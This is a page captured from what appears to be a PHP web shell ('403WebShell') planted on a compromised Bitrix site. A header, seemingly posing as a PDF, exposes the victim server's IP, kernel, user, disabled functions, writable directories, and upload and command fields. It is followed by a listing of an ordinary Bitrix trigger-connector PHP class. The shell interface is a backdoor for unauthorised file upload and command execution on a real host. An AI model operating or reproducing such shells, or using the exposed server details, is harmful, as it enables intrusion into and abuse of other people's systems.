%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.104.118
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/trigger/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/trigger/triggerconnector.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Sender\Trigger;

use Bitrix\Sender\Connector;

abstract class TriggerConnector extends Base
{
	/** @var Connector\Base $connector */
	public $connector;

	/** @return string */
	final protected function getConnectorForm()
	{
		$endpoint = $this->getConnector();
		if(is_array($endpoint) && !empty($endpoint['CODE']))
		{
			$this->connector = Connector\Manager::getConnector($endpoint);
		}
		elseif(is_object($endpoint) && $endpoint instanceof Connector\Base)
		{
			$this->connector = $endpoint;
		}

		if($this->connector)
		{
			$this->connector->setFieldPrefixExtended($this->getFieldPrefix());
			$this->connector->setFieldFormName($this->getFieldFormName());
			$this->connector->setFieldValues($this->getFields());

			return $this->connector->getForm();
		}
		else
			return '';
	}

	/** @return bool */
	final protected function filterConnectorData()
	{
		$result = true;

		$endpoint = $this->getConnector();
		if(is_array($endpoint) && !empty($endpoint['CODE']))
		{
			// do not send mails if connector will not found
			$result = false;

			// try to find connector
			$connector = Connector\Manager::getConnector($endpoint);
			$this->connector = $connector;
		}
		elseif(is_object($endpoint) && $endpoint instanceof Connector\Base)
		{
			$this->connector = $endpoint;
		}


		if($this->connector)
		{
			// merge connector filter and proxy fields. proxy fields have priority
			$connectorFields = $this->getProxyFieldsFromEventToConnector();
			if(!empty($connectorFields))
			{
				$connectorFields = $connectorFields + $this->getFields();
			}
			// set fields to connector
			$this->connector->setFieldValues($connectorFields);


			$result = false;
			// add recipient from data if connector get it
			$recipientDb = $this->connector->getData();
			if($recipient = $recipientDb->Fetch())
			{
				$this->recipient = $recipient;
				$result = true;
			}
		}

		return $result;
	}


	/** @return string */
	public function getForm()
	{
		$connectorForm = $this->getConnectorForm();
		if($connectorForm)
			return $connectorForm;
		else
			return '';
	}

	/** @return bool */
	public function filter()
	{
		return $this->filterConnectorData();
	}

	/** @return mixed */
	public function getRecipient()
	{
		return $this->recipient;
	}

	/** @return array */
	public function getProxyFieldsFromEventToConnector()
	{
		$eventData = $this->getParam('EVENT');
		return array('ID' => $eventData['ID']);
	}

	/**
	 * @return Connector\Result
	 */
	public function getRecipientResult()
	{
		$result = parent::getRecipientResult();
		if(!$this->connector)
		{
			return $result;
		}

		$personalizeList = array();
		$connectorPersonalizeList = $this->connector->getPersonalizeList();
		foreach($connectorPersonalizeList as $tag)
		{
			if($tag['CODE'] <> '')
			{
				$personalizeList[] = $tag['CODE'];
			}
		}
		$result->setFilterFields(array_merge($result->getFilterFields(),  $personalizeList));

		return $result;
	}

	/**
	 * return filled array('MODULE_ID' => '', 'CODE' => '') that describes connector
	 * or return object \Bitrix\Sender\Connector
	 *
	 * @return array|Connector\Base
	 */
	public function getConnector()
	{
		return array(
			'MODULE_ID' => '',
			'CODE' => ''
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit